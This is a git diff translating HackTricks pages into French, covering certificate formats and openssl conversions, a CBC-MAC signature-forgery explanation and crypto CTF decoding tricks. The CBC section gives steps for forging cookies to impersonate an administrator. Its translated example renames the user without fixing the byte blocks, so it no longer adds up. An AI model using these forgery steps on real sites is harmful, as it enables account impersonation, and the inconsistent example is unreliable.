or any other interested party. - -#### Query - -You can query the logs of Certificate Transparency of any domain in [https://crt.sh/](https://crt.sh). - -## Formats - -There are different formats that can be used to store a certificate. - -#### **PEM Format** - -* It is the most common format used for certificates -* Most servers (Ex: Apache) expects the certificates and private key to be in a separate files\ - \- Usually they are Base64 encoded ASCII files\ - \- Extensions used for PEM certificates are .cer, .crt, .pem, .key files\ - \- Apache and similar server uses PEM format certificates - -#### **DER Format** - -* The DER format is the binary form of the certificate -* All types of certificates & private keys can be encoded in DER format -* DER formatted certificates do not contain the "BEGIN CERTIFICATE/END CERTIFICATE" statements -* DER formatted certificates most often use the ‘.cer’ and '.der' extensions -* DER is typically used in Java Platforms - -#### **P7B/PKCS#7 Format** - -* The PKCS#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c -* A P7B file only contains certificates and chain certificates (Intermediate CAs), not the private key -* The most common platforms that support P7B files are Microsoft Windows and Java Tomcat - -#### **PFX/P12/PKCS#12 Format** - -* The PKCS#12 or PFX/P12 format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file -* These files usually have extensions such as .pfx and .p12 -* They are typically used on Windows machines to import and export certificates and private keys - -### Formats conversions - -**Convert x509 to PEM** +### Conversions de formats +**Convertir x509 en PEM** ``` openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` +#### **Convertir PEM en DER** -#### **Convert PEM to DER** +To convert a PEM certificate to DER format you can use the following command: +Pour convertir un certificat PEM en format DER, vous pouvez utiliser la commande suivante : + +```bash +openssl x509 -outform der -in certificate.pem -out certificate.der +``` ``` openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` +**Convertir DER en PEM** -**Convert DER to PEM** +Il est possible de convertir un certificat au format DER en format PEM en utilisant la commande suivante: +``` +openssl x509 -inform der -in certificate.der -out certificate.pem +``` + +Cela convertira le certificat DER en un certificat PEM. ``` openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` +**Convertir PEM en P7B** -**Convert PEM to P7B** - -**Note:** The PKCS#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c. A P7B file only contains certificates and chain certificates (Intermediate CAs), not the private key. The most common platforms that support P7B files are Microsoft Windows and Java Tomcat. - +**Note:** Le format PKCS#7 ou P7B est stocké en format ASCII Base64 et a une extension de fichier .p7b ou .p7c. Un fichier P7B ne contient que des certificats et des certificats de chaîne (CA intermédiaires), pas la clé privée. Les plates-formes les plus courantes qui prennent en charge les fichiers P7B sont Microsoft Windows et Java Tomcat. ``` openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` +**Convertir PKCS7 en PEM** -**Convert PKCS7 to PEM** +Il est possible de convertir un certificat PKCS7 en format PEM en utilisant la commande suivante: +``` +openssl pkcs7 -print_certs -in certificate.p7b -out certificate.pem +``` + +Cela va extraire tous les certificats contenus dans le fichier PKCS7 et les écrire dans un fichier PEM. ``` openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**Convertir un fichier pfx en PEM** -**Convert pfx to PEM** - -**Note:** The PKCS#12 or PFX format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys. - +**Note:** Le format PKCS#12 ou PFX est un format binaire pour stocker le certificat du serveur, les certificats intermédiaires et la clé privée dans un seul fichier chiffrable. Les fichiers PFX ont généralement des extensions telles que .pfx et .p12. Les fichiers PFX sont généralement utilisés sur les machines Windows pour importer et exporter des certificats et des clés privées. ``` openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` +**Convertir PFX en PKCS#8**\ +**Note:** Cela nécessite 2 commandes -**Convert PFX to PKCS#8**\ -**Note:** This requires 2 commands - -**1- Convert PFX to PEM** - +**1- Convertir PFX en PEM** ``` openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` +**2- Convertir PEM en PKCS8** -**2- Convert PEM to PKCS8** +Pour convertir un certificat PEM en format PKCS8, vous pouvez utiliser la commande suivante: +``` +openssl pkcs8 -topk8 -inform PEM -outform DER -in private_key.pem -out private_key.pk8 +``` + +Cela convertira la clé privée du format PEM au format PKCS8 et la stockera dans le fichier `private_key.pk8`. ``` openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` +**Convertir P7B en PFX**\ +**Remarque:** Cela nécessite 2 commandes -**Convert P7B to PFX**\ -**Note:** This requires 2 commands - -1- **Convert P7B to CER** - +1- **Convertir P7B en CER** ``` openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` +**2- Convertir CER et clé privée en PFX** -**2- Convert CER and Private Key to PFX** +Pour convertir un certificat CER et une clé privée en un fichier PFX, vous pouvez utiliser la commande suivante: +``` +openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.cer +``` + +Cela créera un fichier PFX nommé `certificate.pfx` qui contiendra le certificat et la clé privée. Vous devrez spécifier le chemin d'accès à la clé privée et au certificat CER dans la commande. ``` openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - ![](<../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -209,10 +170,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/cryptography/cipher-block-chaining-cbc-mac-priv.md b/cryptography/cipher-block-chaining-cbc-mac-priv.md index 284acc826..155fd219f 100644 --- a/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -1,89 +1,68 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs. -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
# CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +Si le **cookie** est **seulement** le **nom d'utilisateur** (ou la première partie du cookie est le nom d'utilisateur) et que vous voulez vous faire passer pour l'utilisateur "**admin**". Alors, vous pouvez créer le nom d'utilisateur **"bdmin"** et **bruteforcer** le **premier octet** du cookie. # CBC-MAC -In cryptography, a **cipher block chaining message authentication code** (**CBC-MAC**) is a technique for constructing a message authentication code from a block cipher. The message is encrypted with some block cipher algorithm in CBC mode to create a **chain of blocks such that each block depends on the proper encryption of the previous block**. This interdependence ensures that a **change** to **any** of the plaintext **bits** will cause the **final encrypted block** to **change** in a way that cannot be predicted or counteracted without knowing the key to the block cipher. +En cryptographie, un **code d'authentification de message en mode de chiffrement par blocs en chaîne** (**CBC-MAC**) est une technique de construction d'un code d'authentification de message à partir d'un algorithme de chiffrement par blocs. Le message est chiffré avec un algorithme de chiffrement par blocs en mode CBC pour créer une **chaîne de blocs telle que chaque bloc dépend du chiffrement correct du bloc précédent**. Cette interdépendance garantit qu'un **changement** de **n'importe quel** bit du texte en clair provoquera le **changement** du **dernier bloc chiffré** d'une manière qui ne peut être prédite ou contrecarrée sans connaître la clé du chiffrement par blocs. -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +Pour calculer le CBC-MAC du message m, on chiffre m en mode CBC avec un vecteur d'initialisation nul et on conserve le dernier bloc. La figure suivante illustre le calcul du CBC-MAC d'un message comprenant des blocs![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) en utilisant une clé secrète k et un chiffrement par blocs E : ![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png) -# Vulnerability +# Vulnérabilité -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +Avec CBC-MAC, l'**IV utilisé est généralement 0**.\ +C'est un problème car 2 messages connus (`m1` et `m2`) généreront indépendamment 2 signatures (`s1` et `s2`). Ainsi : * `E(m1 XOR 0) = s1` * `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +Ensuite, un message composé de m1 et m2 concaténés (m3) générera 2 signatures (s31 et s32) : * `E(m1 XOR 0) = s31 = s1` * `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**Ce qui est possible à calculer sans connaître la clé du chiffrement.** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +Imaginez que vous chiffrez le nom **Administrateur** en blocs de **8 octets** : * `Administ` * `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +Vous pouvez créer un nom d'utilisateur appelé **Administ** (m1) et récupérer la signature (s1).\ +Ensuite, vous pouvez créer un nom d'utilisateur appelé le résultat de `rator\00\00\00 XOR s1`. Cela générera `E(m2 XOR s1 XOR 0)` qui est s32.\ +maintenant, vous pouvez utiliser s32 comme signature du nom complet **Administrateur**. -### Summary +### Résumé -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. Obtenez la signature du nom d'utilisateur **Administ** (m1) qui est s1 +2. Obtenez la signature du nom d'utilisateur **rator\x00\x00\x00 XOR s1 XOR 0** est s32**.** +3. Définissez le cookie sur s32 et ce sera un cookie valide pour l'utilisateur **Administrateur**. -# Attack Controlling IV +# Contrôle de l'IV d'attaque -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. - -# References - -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Si vous pouvez contrôler l'IV utilisé, l'attaque peut être très facile.\ +Si les cookies ne sont que le nom d'utilisateur chiffré, pour vous faire passer pour l'utilisateur "**administrateur**", vous pouvez créer l'utilisateur "**Administrator**" et vous obtiendrez son cookie.\ +Maintenant, si vous pouvez contrôler l'IV, vous pouvez changer le premier octet de l'IV de sorte que **IV\[0] XOR "A" == IV'\[0] XOR "a"** et régénérer le cookie pour l'utilisateur **Administrator**. Ce cookie sera valide pour **se faire passer pour** l'utilisateur **administrateur** avec l'IV initial. +# Références +Plus d'informations sur [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) diff --git a/cryptography/crypto-ctfs-tricks.md b/cryptography/crypto-ctfs-tricks.md index c3b3efa93..645472db5 100644 --- a/cryptography/crypto-ctfs-tricks.md +++ b/cryptography/crypto-ctfs-tricks.md @@ -1,22 +1,22 @@ -# Crypto CTFs Tricks +# Astuces pour les CTF de cryptographie
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-## Online Hashes DBs +## Bases de données de hachages en ligne * _**Google it**_ * [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) @@ -33,33 +33,33 @@ ## Magic Autosolvers * [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (module Magic) * [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) * [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) -## Encoders +## Encodeurs -Most of encoded data can be decoded with these 2 ressources: +La plupart des données encodées peuvent être décodées avec ces 2 ressources : * [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) * [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -### Substitution Autosolvers +### Autosolveurs de substitution * [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -* [https://quipqiup.com/](https://quipqiup.com) - Very good ! +* [https://quipqiup.com/](https://quipqiup.com) - Très bon ! -#### Caesar - ROTx Autosolvers +#### Autosolveurs de Caesar - ROTx * [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) -#### Atbash Cipher +#### Chiffre d'Atbash * [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) -### Base Encodings Autosolver +### Autosolveurs d'encodage de base -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +Vérifiez toutes ces bases avec : [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) * **Ascii85** * `BQ%]q@psCd@rH0l` @@ -67,87 +67,19 @@ Check all these bases with: [https://github.com/dhondta/python-codext](https://g * `BQEKGAHRJKHQMVZGKUXNT` * **Base32** \[_A-Z2-7=_] * `NBXWYYLDMFZGCY3PNRQQ====` -* **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - * `pbzsaamdcf3gna5xptoo====` -* **Base32 Geohash** \[_0-9b-hjkmnp-z_] - * `e1rqssc3d5t62svgejhh====` -* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - * `D1QPRRB3C5S62RVFDHGG====` -* **Base32 Extended Hexadecimal** \[_0-9A-V_] - * `D1NMOOB3C5P62ORFDHGG====` -* **Base45** \[_0-9A-Z $%\*+-./:_] - * `59DPVDGPCVKEUPCPVD` -* **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - * `2yJiRg5BF9gmsU6AC` -* **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - * `2YiHqF5bf9FLSt6ac` -* **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - * `pyJ5RgnBE9gm17awU` -* **Base62** \[_0-9A-Za-z_] - * `g2AextRZpBKRBzQ9` -* **Base64** \[_A-Za-z0-9+/=_] - * `aG9sYWNhcmFjb2xh` -* **Base67** \[_A-Za-z0-9-_.!\~\_] - * `NI9JKX0cSUdqhr!p` -* **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - * `BQ%]q@psCd@rH0l` -* **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - * `<~BQ%]q@psCd@rH0l~>` -* **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - * `Xm4y`V\_|Y(V{dF>\` -* **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - * `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` -* **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__] - * `Xm4y|V{~Y+V}dF?` -* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - * `frDg[*jNN!7&BQM` -* **Base100** \[] - * `👟👦👣👘👚👘👩👘👚👦👣👘` -* **Base122** \[] - * `4F ˂r0Xmvc` -* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - * `MIc3KiXa+Ihz+lrXMIc3KbCC` -* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - * `DmPsv8J7qrlKEoY7` -* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - * `kLD8iwKsigSalLJ5` -* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - * `ayRiIo1gpO+uUc7g` -* **ESAB46** \[] - * `3sHcL2NR8WrT7mhR` -* **MEGAN45** \[] - * `kLD8igSXm2KZlwrX` -* **TIGO3FX** \[] - * `7AP9mIzdmltYmIP9mWXX` -* **TRIPO5** \[] - * `UE9vSbnBW6psVzxB` -* **FERON74** \[] - * `PbGkNudxCzaKBm0x` -* **GILA7** \[] - * `D+nkv8C1qIKMErY1` -* **Citrix CTX1** \[] - * `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` - -[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - -### HackerizeXS \[_╫Λ↻├☰┏_] - +* **Zbase32** \[_ybndrfg8ejkmcp ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` - -* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) +* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Mort: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) ### Morse - ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` +* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Mort : [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### UUencoder - +### UUencodeur ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -156,98 +88,85 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - * [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) -### XXEncoder - +### Encodeur XX ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - * [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) -### YEncoder - +### YEncodeur ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - * [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex +### BinHex ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - * [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 +ASCII85 est un format d'encodage de données utilisé pour représenter des données binaires de manière lisible par l'homme. Il est souvent utilisé pour transmettre des données binaires sur des canaux qui ne peuvent pas gérer les caractères non imprimables. Le format est similaire à Base64, mais plus efficace en termes d'espace. ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - * [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Clavier Dvorak ``` drnajapajrna ``` - * [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +Lettres à leur valeur numérique ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` +### Chiffrement affine Encode -### Affine Cipher Encode - -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +Lettre en nombre `(ax+b)%26` (_a_ et _b_ sont les clés et _x_ est la lettre) et le résultat est converti en lettre ``` krodfdudfrod ``` +### Code SMS -### SMS Code +**Multitap** [remplace une lettre](https://www.dcode.fr/word-letter-change) par des chiffres répétés définis par le code clé correspondant sur un [clavier de téléphone portable](https://www.dcode.fr/phone-keypad-cipher) (ce mode est utilisé lors de l'écriture de SMS).\ +Par exemple: 2=A, 22=B, 222=C, 3=D...\ +Vous pouvez identifier ce code car vous verrez\*\* plusieurs chiffres répétés\*\*. -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode 